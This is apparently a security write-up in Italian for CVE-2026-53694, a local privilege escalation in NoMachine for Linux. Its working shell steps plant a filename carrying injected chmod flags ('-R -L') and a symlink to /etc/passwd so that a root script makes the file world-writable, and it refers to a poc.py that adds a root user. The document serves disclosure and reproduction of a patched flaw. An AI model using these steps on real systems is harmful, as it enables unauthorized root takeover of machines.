
Prova di concetto e analisi per CVE-2026-53694, un'escalation dei privilegi locali in NoMachine per Linux tramite iniezione di argomenti in nxchmod.sh, che consente l'accesso root attraverso la manipolazione di symlink.
Questo repository contiene il write-up e la Proof of Concept (PoC) per CVE-2026-53694, una vulnerabilità di Privilege Escalation Locale (LPE) in NoMachine per Linux.
A causa di una neutralizzazione impropria dei delimitatori di argomenti nello script nxchmod.sh, un utente locale non privilegiato può iniettare argomenti in un comando di sistema eseguito come root. Combinando questa argument injection con un symbolic link, un attaccante può sovrascrivere file di sistema critici (come /etc/passwd) ed escalare i propri privilegi a root.
Questa vulnerabilità è stata completamente corretta dal vendor.
Trovare questa vulnerabilità è stato un processo fatto di tentativi, errori e una rivelazione a tarda notte. Ecco come si è svolta la scoperta:
/usr/NX/scripts/restricted/nxchmod.sh veniva eseguito periodicamente dall'utente root per gestire i permessi in directory specifiche.chmod a+rw ai file. Ho pensato: Se controllo la destinazione, posso usare un symlink per rendere /etc/passwd scrivibile? Ho testato un symlink standard (ln -s /etc/passwd /tmp/asdf), ma ha fallito. Lo sticky bit di Linux su directory come /tmp impedisce all'utente root di seguire ciecamente un symlink creato da un altro utente.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. Lo script prendeva il nome del file letterale e lo passava direttamente a chmod.X1234 -R -L. Quando lo script veniva eseguito, il comando chmod espandeva questo in argomenti anziché in un singolo percorso di file.-L (segui symlink) e -R (ricorsivo) nel comando chmod tramite il nome del file, ho forzato il binario chmod stesso a risolvere e seguire il symlink che avevo creato nella directory, aggirando completamente la protezione dello sticky bit./etc/passwd è stato reso scrivibile (a+rw), ho potuto semplicemente aggiungere un nuovo utente root al file e fare su su di esso.La vulnerabilità deriva da come NoMachine gestisce i permessi per i socket X11/Wayland. Lo script nxchmod.sh viene avviato dal daemon nxserver.bin in esecuzione come root.
L'esecuzione vulnerabile appare così:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
Se un attaccante crea una struttura di directory e un file chiamato X1234 -R -L, il comando risultante eseguito da root diventa:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
Quando un symlink che punta a /etc/passwd viene posizionato all'interno della directory X1234, gli argomenti iniettati -R e -L forzano chmod a seguire ricorsivamente il symlink e a concedere permessi globali di lettura/scrittura al file di destinazione.
Affinché questo exploit funzioni, il sistema target deve soddisfare le seguenti condizioni:
Puoi riprodurre questa vulnerabilità manualmente usando comandi shell o automaticamente usando lo script Python fornito.
Naviga in /tmp/.X11-unix/ ed esegui i seguenti comandi per creare la struttura di directory malevola.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
Una volta verificata la vulnerabilità ed escalati i privilegi, esegui i seguenti comandi di pulizia per ripristinare la stabilità del sistema e rimuovere gli artefatti:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
Un exploit completamente automatizzato è fornito in poc.py. Questo script verifica i requisiti di Wayland, imposta il symlink, attende il ciclo di esecuzione di nxchmod.sh e inietta un nuovo utente root (gg) in /etc/passwd
Per eseguire l'exploit:
python3 poc.py
Questa vulnerabilità è stata risolta da NoMachine. Gli utenti dovrebbero aggiornare alle seguenti versioni o successive: